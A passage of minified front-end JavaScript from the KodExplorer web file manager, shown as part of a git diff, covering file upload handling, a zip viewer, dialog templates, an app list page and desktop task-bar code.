e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(i.info)}catch(t){}}).on("uploadSuccess",function(e){var i=$("#"+e.id);if(!i.inScreen()){var t=36*i.index(".item");$(".uploader-content").scrollTop(t)}file_finished++;var a=e.serverData;if(a&&a.data){var n=LNG[a.data];if(a.code){if(i.addClass("success"),i.find(".state").text(n),i.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),a.info){var o="/"+ltrim(htmlEncode(a.info),"/");i.find(".info .title").html(core.pathThis(o)).attr("title",o).attr("data-name",o)}}else i.addClass("error").find(".state").addClass("error"),i.find(".state").text(n).attr("title",n)}uploader.removeFile(e),i.find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,i){var t=LNG.upload_error+"("+i+")";if(e.serverData){var a=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,a>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf("<!--user login-->"))return $.each(uploader.getFiles(),function(e,i){uploader.skipFile(i),uploader.removeFile(i)}),Tips.tips("login error!",!1),void 0;if(e.serverData.data){var n=e.serverData.data;t=LNG[n]?LNG[n]:n}else e.serverData._raw&&(t=e.serverData._raw)}"http"==i&&(t=LNG.upload_error_http),"abort"==i&&void 0==e.serverData&&(t=LNG.not_support+"(support on chrome)"),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(t).attr("title",t)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='<div class="upload-tips"> <div> <i class="icon-cloud cloud1 moveLeftLoop"></i> <i class="icon-cloud cloud2"></i> <i class="icon-cloud cloud3 moveLeftLoop"></i> </div> <div class="cloud-moveup"><i class="moveTopLoop icon-circle-arrow-up"></i></div> <div class="msg">'+LNG.upload_drag_tips+"</div> </div>";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var i=e.dataTransfer.getData("text/plain");i&&"http"==i.substring(0,4)&&ui.pathOperate.appAddURL(i)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,i,t){var a=$(t.DOM.wrap),n=i.frames.OpenpathSelectApi,o='<input type="text" class="path_select_input" readonly="true" disabled="true" />';"file"==e.type&&(o+='<span class="label label-primary">'+e.allowExt+"</span>"),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(i){var t=e.allowExt.split("|"),a=core.pathExt(i);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,t)?!0:!1},r=function(){var i=n.ui.fileLight.fileListSelect(),t=[];if(e.single){var a=$(i.get(0));if("all"==e.type&&0==i.length)t={file:[],folder:[]};else if("file"==e.type&&0==i.length)t=[];else if("folder"==e.type)t=[n.G.this_path],a.hasClass("folderBox")&&(t=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(t=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);t=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(t={file:[o],folder:[]})}}else{var r=[],l=[];i.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?t=l:"file"==e.type?t=r:"all"==e.type&&(t={file:r,folder:l})}c(t)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(i){var t=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;i.length>r;r++)l(i[r])&&s.push(i[r]);i=s}if(0==i.length||"all"==e.type&&0==i.file.length&&0==i.folder.length)o.addClass("disable"),t.attr("result",""),t.val("");else{var c=hashEncode(jsonEncode(i)),d="";if(e.single)d=n.core.pathThis(i[0]);else{var p=i;"all"==e.type&&(p=i.folder.concat(i.file)),$.each(p,function(e,i){d+=n.core.pathThis(i)+", "})}o.removeClass("disable"),t.attr("result",c),t.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(i,t){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";i=$.extend(a,i),i.firstPath&&(n+="&path="+i.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:i.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof t){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?i.single&&"all"!=i.type?t(a[0]):t(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(i,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(i){"function"==typeof e&&e(i)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var i={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},t=function(i){var t="x-play-sound";0==$("."+t).length&&$('<div style="width:0px;height:0px;" class="'+t+'"></div>').appendTo("body");var a=G.static_path+"others/sound/"+i,n=e("./myPlayer");n.playSound(a,$("."+t))};return{playSoundFile:t,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){t(i[e])},100)}}}),define("app/common/core.zipView",[],function(){return function(e){var i,t={view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,i){var t=15,a=$("#"+i.tId+"_switch"),n=$("#"+i.tId+"_ico");a.remove(),i.iconSkin=i.tree_icon;var o=i.tree_icon;if(i.ext?o=i.ext:i.tree_icon||(o=i.type),n.before(a).before('<span id="'+i.tId+'_my_ico" class="tree_icon button">'+core.iconSmall(o)+"</span>").remove(),void 0!=i.ext&&n.attr("class","").addClass("file "+i.ext).removeAttr("style"),i.level>=1){var s="<span class='space' style='display: inline-block;width:"+t*i.level+"px'></span>";a.before(s)}var r='<span class="time">'+date(LNG.time_type,i.mtime)+"</span>";r+='<span class="size">'+core.fileSize(i.size)+"</span>",r+='<span class="menu_more icon-ellipsis-vertical"></span>',$("#"+i.tId+"_span").after(r),a.parent().addClass(i.menuType)}},callback:{onClick:function(e,t,a){$(e.target).hasClass("menu_more")||(i.selectNode(a),u(a),"folder"==a.type&&$("#"+a.tId+"_switch").click())},onCollapse:function(e,i){m(i)},onExpand:function(e,i){m(i)},beforeRightClick:function(e,t){t&&(u(t),i.selectNode(t))},onDblClick:function(e,t,a){$(e.target).hasClass(".menu_more")||"file"==a.type&&o("open",i)}}},a=function(e){for(var i=function(e){for(var t=0;e.length>t;t++)if(void 0!=e[t]){var a=e[t];e[t]={name:core.pathThis(a.filename),path:a.filename,isParent:!!a.child,type:a.folder?"folder":"file",menuType:a.folder?"menuZipListFolder":"menuZipListFile",ext:core.pathExt(a.filename),mtime:a.mtime,index:a.index,size:a.size,child:a.child},a.folder&&delete e[t].ext,e[t].child?(e[t].children=e[t].child,delete e[t].child,i(e[t].children)):delete e[t].child}else delete e[t]},t={},a=0;e.length>a;a++)"string"!=typeof e[a].filename&&e[a].stored_filename&&(e[a].filename=e[a].stored_filename),"string"==typeof e[a].filename&&(e[a].filename=e[a].filename.replace(/\\/g,"/"),t[e[a].filename]=e[a]);for(var n in t)if(!t[n].folder)for(var o=core.pathFather(t[n].filename);""!=o&&"/"!=o&&!t[o]&&!t[rtrim(o,"/")];)t[o]={filename:o,folder:!0,mitme:0,size:0,index:-1},o=core.pathFather(o);var s=[];for(var n in t){var r=t[n],l=core.pathFather(r.filename);if(t[l]&&(l=core.pathFather(r.filename)),t[rtrim(l,"/")]&&(l=rtrim(l,"/")),t[l])t[l].child||(t[l].child=[]),t[l].child.push(t[r.filename]);else{var c=t[r.filename];c&&s.push(c)}}return i(s),s},n=function(){$.contextMenu({selector:".menuZipListFolder",className:"menuZipListFolder",zIndex:9999,callback:function(e){o(e)},items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$.contextMenu({selector:".menuZipListFile",className:"menuZipListFile",zIndex:9999,callback:function(e){o(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep1:"--------",unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$(".menuZipListFile .menu_more,.menuZipListFolder .menu_more").die("click").live("click",function(e){var i=$(this).offset();i.top+=$(this).outerHeight(),$(this).contextMenu({x:e.pageX,y:i.top})})},o=function(e,i){if(void 0==i){var t=$(".context-menu-active").parents(".ztree");if(0==t.length)return;i=$.fn.zTree.getZTreeObj(t.attr("id"))}var a=i.getSelectedNodes()[0];switch(e){case"open":c(i,a);break;case"down":l(i,a);break;case"unzip_this":p(i,a);break;case"unzip_to":d(i,a);break;case"info":h(i,a);break;default:}},s={file_num:0,folder_num:0,size:0},r=function(e){if("folder"==e.type){if(s.folder_num++,e.children)for(var i=0;e.children.length>i;i++)r(e.children[i])}else s.file_num++,s.size+=parseInt(e.size)},l=function(e,i){e.setting.filePath;var t=e.setting.fileUrl,a=t+"&download=1&index="+i.index;ui.pathOpen.downloadUrl(a)},c=function(e,i){e.setting.filePath;var t=e.setting.fileUrl,a=t+"&index="+i.index+"&name=/"+urlEncode(i.path),n=i.ext;"zip"==n&&(n="unknow"),i.size>=31457280&&(Tips.tips(LNG.zipview_file_big,"warning"),n="unknow"),ui.pathOpen.open(a,n)},d=function(e,i){core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(t){p(e,i,t)})},p=function(e,i,t){var a=e.setting.filePath;e.setting.fileUrl,void 0==t&&(t=G.this_path,void 0==t&&(t=core.pathFather(a)));var n="./index.php?explorer/unzip";$.ajax({url:n,data:{path:a,path_to:t,unzip_part:i.index},type:"POST",dataType:"json",beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){return Tips.close(e),"editor"==Config.pageApp?(ui.tree.refreshPath(core.pathFather(a)),void 0):(ui.f5(!0,!0,function(){var e=t+core.pathThis(i.path);ui.path.setSelectByFilename(e)}),void 0)}})},u=function(e){var i=f(e),t=LNG.size+" "+i.size_friendly+" ("+i.size+" Byte)";"folder"==e.type&&(t=i.file_num+LNG.file+","+i.folder_num+LNG.folder+", "+t),$("#"+e.tId).parents(".zipViewContent").find(".bottom .info").html(t)},f=function(e){var i={name:e.name,path:e.path,size:e.size,size_friendly:core.fileSize(e.size),mtime:date(LNG.time_type_info,e.mtime)};return 0==e.level&&(i.path=i.name),"folder"==e.type&&(s={file_num:0,folder_num:0,size:0},r(e),$.extend(i,s),i.size_friendly=core.fileSize(i.size)),i},h=function(e,i){var t="folder"==i.type?"folder":core.pathExt(i.path),a="folder"==i.type?tpl_path_info:tpl_file_info,n=template.compile(a),o=f(i);o.LNG=LNG,$.dialog({padding:5,ico:core.iconSmall(t),fixed:!0,title:core.pathThis(i.path),content:n(o),ok:!0})},v=function(e,i,t){var a=template.compile(tpl_zipview),n=a({LNG:LNG,treeID:e}),o=$.dialog({className:"zipViewDialog",id:"zip_view_"+md5(t),ico:core.icon("zip"),title:i,width:550,height:420,content:n,resize:!0,padding:0,fixed:!0}),s=15*$(".zipViewContent").length;o.DOM.wrap.css({left:"+="+s+"px",top:"+="+s+"px"})},m=function(e){$("#"+e).find("ul:visible > li > a").each(function(e){$(this).removeClass("odd"),0==e%2&&$(this).addClass("odd")})},_=function(e,o,s){var r=a(o),l="folderListZip"+UUID();r=ui.tree.treeDataSort(r),v(l,e,s),n(),r={name:e,ext:"zip",mtime:"",isParent:!0,open:!0,children:r,type:"folder",path:"",index:"-1",menuType:"menuZipListFolder"},$.fn.zTree.init($("#"+l),t,r),i=$.fn.zTree.getZTreeObj(l),m(l),u(i.getNodeByParam("index","-1",null))},g=function(e){var t=$(".zip_view_"+md5(e));if(t.length>0)return t.shake(3,20,80),void 0;var a="explorer/unzipList&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0?(a="share/unzipList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e),ui.pathOpen.openUnknow(e),void 0):(a=G.app_host+"index.php?"+a,$.ajax({url:a,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(t){Tips.close(t),t.code?(_(core.pathThis(e),t.data,e),i.setting.filePath=e,i.setting.fileUrl=a):ui.pathOpen.openUnknow(e,t.data) +}}),void 0)};g(e)}}),define("app/common/tpl/copyright.html",[],'<div class="copyright_dialog_content">\n <div class="title">\n <div class="logo"><i class="icon-cloud"></i>{{if core.versionType==\'A\'}}KodExplorer {{else}} {{LNG.kod_name}} {{/if}} v{{G.version}}</div>\n <div class=\'info\'>——{{LNG.kod_name_copyright}}</div>\n </div>\n <div class="content">\n <p>{{#LNG.copyright_desc}}</p>\n <div>{{#LNG.copyright_contact}}</div>\n <div>{{#LNG.copyright_info}}</div> \n </div>\n</div>\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/src/app/page",[],function(){var e,i=function(){e=location.hash.split("#",2)[1],e||(e="all"),a(e),$("ul.setting a").click(function(){e!=$(this).attr("id")&&(e=$(this).attr("id"),a(e))}),$(".box .list").live("hover",function(){$(this).addClass("listhover")},function(){$(this).toggleClass("listhover")}).live("click",function(){var e="index.php?setting/set&k="+type+"&v="+value;$.ajax({url:e,dataType:"json",success:function(e){Tips.tips(e.data,e.code)}})}),$(".create_app").die("click").live("click",function(){window.parent&&window.parent.ui.path.pathOperate.appEdit("","","root_add")}),$(".app-list .app_li").die("click").live("click",function(e){if($(e.target).attr("action")){var i=jsonDecode(base64Decode($(this).attr("data-app"))),t=$(e.target).attr("action");switch(t){case"preview":core.openApp(i);break;case"add":var n="/";ShareData.frameTop("",function(e){n=e.G.this_path});var o=urlEncode(n+i.name),s="./index.php?app/user_app&action=add&path="+o;$.ajax({url:s,dataType:"json",type:"POST",data:{data:urlEncode(jsonEncode(i))},error:core.ajaxError,success:function(e){Tips.tips(e.data,e.code),e.code&&ShareData.frameTop("",function(e){e.ui.f5()})}});break;case"edit":ShareData.frameTop("",function(e){e.ui.path.pathOperate.appEdit(i,"","root_edit")});break;case"del":$.dialog({id:"dialog_app_remove",icon:"question",padding:20,width:200,lock:!0,background:"#000",opacity:.3,content:LNG.remove_info,ok:function(){$.ajax({url:"./index.php?app/del&name="+urlEncode(i.name),dataType:"json",error:core.ajaxError,success:function(e){Tips.tips(e.data,e.code),e.code&&a()}})},cancel:!0});break;default:}}})},t=function(e){var i="",t="<button type='button' class='btn btn-sm btn-default dropdown-toggle' data-toggle='dropdown'> <span class='caret'></span> <span class='sr-only'></span> </button> <ul class='dropdown-menu' role='menu'> <li><a action='edit' href='javascript:;'>"+LNG.button_edit+"</a></li> <li><a action='del' href='javascript:;'>"+LNG.button_del+"</a></li> </ul>";G.is_root||(t="");for(var a in e)if(e[a]){var n=e[a].icon;-1==n.search(G.static_path)&&"http"!=n.substring(0,4)&&(n=G.static_path+"images/file_icon/icon_app/"+n),i+="<li class='app_li' data-app="+base64Encode(jsonEncode(e[a]))+"> <a action='preview' href='javascript:;' class='icon'><img action='preview' src='"+n+"'></a> <p><span class='title'>"+e[a].name+"</span> <span class='info'>"+e[a].desc+"</span></p>"+"<div class='btn-group'> <button type='button' class='btn btn-sm btn-default' action='add'>"+LNG.button_add+"</button>"+t+"</div><div style='clear:both;'></div></li>"}return i+="<div style='clear:both;'></div>"},a=function(i){(void 0==i||""==i)&&(i=e),$(".selected").removeClass("selected"),$("ul.setting a#"+i).addClass("selected"),$(".main").find(".h1").html("<i class='"+$(".selected i").attr("class")+"'></i>"+$(".selected").text());var a=$(".main .app-list");$.ajax({url:"./index.php?app/get&group="+i,dataType:"json",beforeSend:function(){},success:function(e){a.html(t(e.data)),$("body").scrollTop(0)}})};return{reload:a,init:i}}); \ No newline at end of file diff --git a/static/js/app/src/desktop/main.js b/static/js/app/src/desktop/main.js index 14d1f2e..e3eebac 100755 --- a/static/js/app/src/desktop/main.js +++ b/static/js/app/src/desktop/main.js @@ -1,9 +1,9 @@ -/*! power by kodexplorer ver3.42(2017-04-08) [build 1491589321217] */ -define("app/src/desktop/main",["lib/jquery-lib","lib/util","lib/contextMenu/jquery-contextMenu","lib/artDialog/jquery-artDialog","lib/picasa/picasa","../../common/taskTap","../../common/core","../../common/rightMenu","../explorer/ui","../explorer/fileContent","../explorer/path","../../common/pathOperate","../../common/pathOpen","../../common/myPlayer","../explorer/fileLight","../explorer/fileSelect","../explorer/fileListResize"],function(e){Config={BodyContent:".bodymain",FileBoxSelector:".bodymain .fileContiner",FileBoxClass:".bodymain .fileContiner .file",FileBoxClassName:"file",FileBoxTittleClass:".bodymain .fileContiner .title",SelectClass:".bodymain .fileContiner .file.select",SelectClassName:"select",TypeFolderClass:"folderBox",TypeFileClass:"fileBox",HoverClassName:"hover",FileOrderAttr:"number",pageApp:"desktop",navbar:"navbar",AnimateTime:200},e("lib/jquery-lib"),e("lib/util"),e("lib/contextMenu/jquery-contextMenu"),e("lib/artDialog/jquery-artDialog"),e("lib/picasa/picasa"),TaskTap=e("../../common/taskTap"),core=e("../../common/core"),rightMenu=e("../../common/rightMenu"),ui=e("../explorer/ui"),ui.path=e("../explorer/path"),ui.fileLight=e("../explorer/fileLight"),ui.fileSelect=e("../explorer/fileSelect"),ui.fileListResize=e("../explorer/fileListResize"),$(document).ready(function(){G.user_config.list_type="icon",core.init(),ui.init(),ui.fileLight.init(),ui.fileSelect.init(),TaskTap.init(),rightMenu.initDesktop(),ui.fileListResize.initFileSize(),$(".init_loading").fadeOut(450).addClass("pop_fadeout"),$(".fileContiner").removeClass("hidden"),e.async("lib/webuploader/webuploader-min",function(){core.uploadInit()}),$(".bodymain").click(function(){"block"==$("#menuwin").css("display")&&$("#menuwin").css("display","none"),$("body").focus()}),$(".start").click(function(){"block"==$("#menuwin").css("display")?$("#menuwin").css("display","none"):$("#menuwin").css("display","block")}),$("#menuwin").click(function(){$("#menuwin").css("display","none")}),$(".copyright").click(function(){core.copyright()}),$(".tab_hide_all").click(function(){if(0!=$.dialog.list.length){$(this).toggleClass("this");var e=!$(this).hasClass("this");$.each($.dialog.list,function(i,t){t.display(e)})}});var i='<div id="randomWallpaper"> <img class="flower animated-1000" src="'+G.static_path+'images/common/desktop/fengche.png" title="'+LNG.setting_wall+'"> <div class="body-line" ></div> </div>';$("body").append(i);var t=$("#randomWallpaper .flower");t.bind("click",function(){t.addClass("moveCircle");var e=function(e){var i=G.my_desktop+"wallpage/";$.get("./index.php?explorer/mkdir&repeat_type=replace&path="+i,function(){$.get("./index.php?explorer/serverDownload&type=download&save_path="+i+"&url="+urlEncode(e))})};core.api.randomImage(function(i){ui.setWall(i,function(){setTimeout(function(){t.removeClass("moveCircle")},100)}),$.get("index.php?setting/set&k=wall&v="+urlEncode(i)),e(i)})})})}),define("app/common/taskTap",[],function(){var e={},i="",t=160,a=function(){$(".task_tab .tab").die("mouseenter").live("mouseenter",function(){$(this).hasClass("this")||$(this).addClass("hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")})},n=function(e){var i=e.attr("id"),t=$.dialog.list[i];if(void 0==t)return c(i),void 0;var a=$("."+i);"hidden"==a.css("visibility")?t.display(!0).zIndex():a.hasClass("aui_state_focus")?t.display(!1):t.zIndex()},o=function(){var e,i,a,o,s=!1,r=!1,l=0,c=0,d=0,p=0,u=0,f=0;$(".task_tab .tab").die("mousedown").live("mousedown",function(i){1==i.which&&(e=$(this),h(i),this.setCapture&&this.setCapture(),$(document).mousemove(function(e){m(e)}),$(document).one("mouseup",function(i){_(),this.releaseCapture&&this.releaseCapture(),10>Math.abs(i.pageX-l)&&n(e)}))});var h=function(t){s=!0,r=!0,l=t.pageX,$tab_parent=$(".task_tab"),i=$(".task_tab .tab"),$(".tasktab-dragging").remove(),a=e.clone().addClass("tasktab-dragging").prependTo("body"),p=$sizeInt(i.css("margin-right")),u=$tab_parent.width(),f=$tab_parent.get(0).getBoundingClientRect().left,f+=$(window).scrollLeft(),c=e.get(0).getBoundingClientRect().left,d=$sizeInt(i.css("width"));var n=e.get(0).getBoundingClientRect().top-$sizeInt(e.css("margin-top")),o=t.clientX-l+c;$("body").prepend("<div class='dragMaskView'></div>"),a.css({width:d+"px",top:n,left:o}),e.css("opacity",0)},m=function(t){if(r){window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),0==s&&h(t);var n=t.clientX-l+c;f>n||n>f+u-d||(a.css("left",n),i.each(function(){var i=$(this).get(0).getBoundingClientRect().left;if(n>i&&i+d/2+p>n){if(e.attr("id")==$(this).attr("id"))return;v($(this).attr("id"),"left")}if(n>i-d/2+p&&i>n){if(e.attr("id")==$(this).attr("id"))return;v($(this).attr("id"),"right")}}))}},v=function(a,n){if(!e.is(":animated")||o!=a){o=a,e.stop(!0,!0),$(".insertTemp").remove(),i=$(".task_tab .tab");var s=e.width(),r=$(".task_tab #"+a),l=e.clone(!0).insertAfter(e).css({"margin-right":"0px",border:"none"}).addClass("insertTemp");"left"==n?e.after(r).css("width","0px"):(e.before(r).css("width","0px"),r.before(l)),e.animate({width:s+"px"},t),l.animate({width:"0px"},t,function(){$(this).remove(),i=$(".task_tab .tab")})}},_=function(){r=!1,s=!1,startTime=0,$(".dragMaskView").remove(),void 0!=a&&(c=e.get(0).getBoundingClientRect().left,a.animate({left:c+"px"},t,function(){e.css("opacity",1),$(this).remove()}))}},s=function(e){var i=110,a=i,n=i+12,o=$(".task_tab .tab"),s=$(".task_tab .tabs").width()-10,r=o.length,l=Math.floor(s/n);switch(r>l&&(a=Math.floor(s/r)-12),e){case"add":$(".task_tab .tabs .this").css("width","0").animate({width:a+"px"},t);case"close":o.animate({width:a+"px"},t);break;case"resize":o.css("width",a+"px");break;default:}},r=function(i,t){$(".task_tab").removeClass("hidden");var a=t.replace(/<[^>]+>/g,""),n='<div class="tab taskBarMenu" id="'+i+'" title="'+a+'">'+t+"</div>";$(n).insertBefore(".task_tab .last"),s("add"),e[i]={id:i,name:name}},l=function(e){$(".task_tab .this").removeClass("this"),$(".task_tab #"+e).addClass("this"),i=e},c=function(i){$(".task_tab #"+i).animate({width:0},t,function(){if($(".task_tab #"+i).remove(),s("close"),0==$(".tabs .tab").length&&"desktop"!=Config.pageApp){var e=31;$(".task_tab").animate({bottom:"-"+e+"px"},200,0,function(){$(this).css({bottom:"0px"}).addClass("hidden")})}}),delete e[i]},d=function(){$('<i class="dialog_menu"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".dialog_menu",items:{dialog_quite:{name:LNG.close,className:"dialog_quite",icon:"remove",accesskey:"q"},dialog_max:{name:LNG.dialog_max,className:"dialog_max",icon:"resize-full",accesskey:"a"},dialog_min:{name:LNG.dialog_min,className:"dialog_min",icon:"minus",accesskey:"i"},sep1:"--------",refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},open_window:{name:LNG.open_ie,className:"open_window",icon:"globe",accesskey:"b"},qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,i){var t=i.$trigger.attr("id"),a=$.dialog.list[t];switch(e){case"dialog_quite":a.close();break;case"dialog_min":a._clickMin(!1);break;case"dialog_max":a._clickMax();break;case"refresh":a.refresh();break;case"open_window":a.open_window();break;case"qrcode":core.qrcode(a.DOM.wrap.find("iframe").attr("src"));break;default:}}}),$(".aui_title img,.aui_title .x-item-file").die("click").live("click",function(e){var i=$(this).offset();i.top+=$(this).outerHeight(),$(this).parent().parent().contextMenu({x:e.pageX,y:i.top})}).die("dblclick").live("dblclick",function(){var e=$(this).parent().parent().attr("id"),i=$.dialog.list[e];i.close(),rightMenu.hidden()})},p=function(){$('<i class="taskBarMenu"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".taskBarMenu",items:{quitOthers:{name:LNG.close_others,className:"quitOthers",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,i){var t=i.$trigger.attr("id"),a=$.dialog.list[t];switch(e){case"quitOthers":$.each($.dialog.list,function(e,i){t!=e&&i.close()});break;case"quit":a.close()}}})},u=function(){$.contextMenu({zIndex:9999,selector:".task_tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,i){var t=i.$trigger.attr("id");switch($.dialog.list[t],e){case"showAll":$.each($.dialog.list,function(e,i){i.display(!0)});break;case"hideAll":$.each($.dialog.list,function(e,i){i.display(!1)});break;case"closeAll":$.each($.dialog.list,function(e,i){i.close()});break;default:}}})};return{add:r,focus:l,close:c,init:function(){var e='<div class="task_tab"><div class="tabs"><div class="last" style="clear:both;"></div></div></div>';$(e).appendTo("body"),"desktop"!=Config.pageApp&&$(".task_tab").addClass("hidden"),$(window).bind("resize",function(){s("resize")}),a(),d(),p(),u(),o()}}}),define("app/common/core",[],function(require,exports){tpl_search_box=require("./tpl/search.html"),tpl_search_list=require("./tpl/search_list.html"),tpl_upload=require("./tpl/upload.html"),tpl_file_info=require("./tpl/fileinfo/file_info.html"),tpl_path_info=require("./tpl/fileinfo/path_info.html"),tpl_zipview=require("./tpl/zipview.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound"),zipView=require("./core.zipView");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("X-CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var 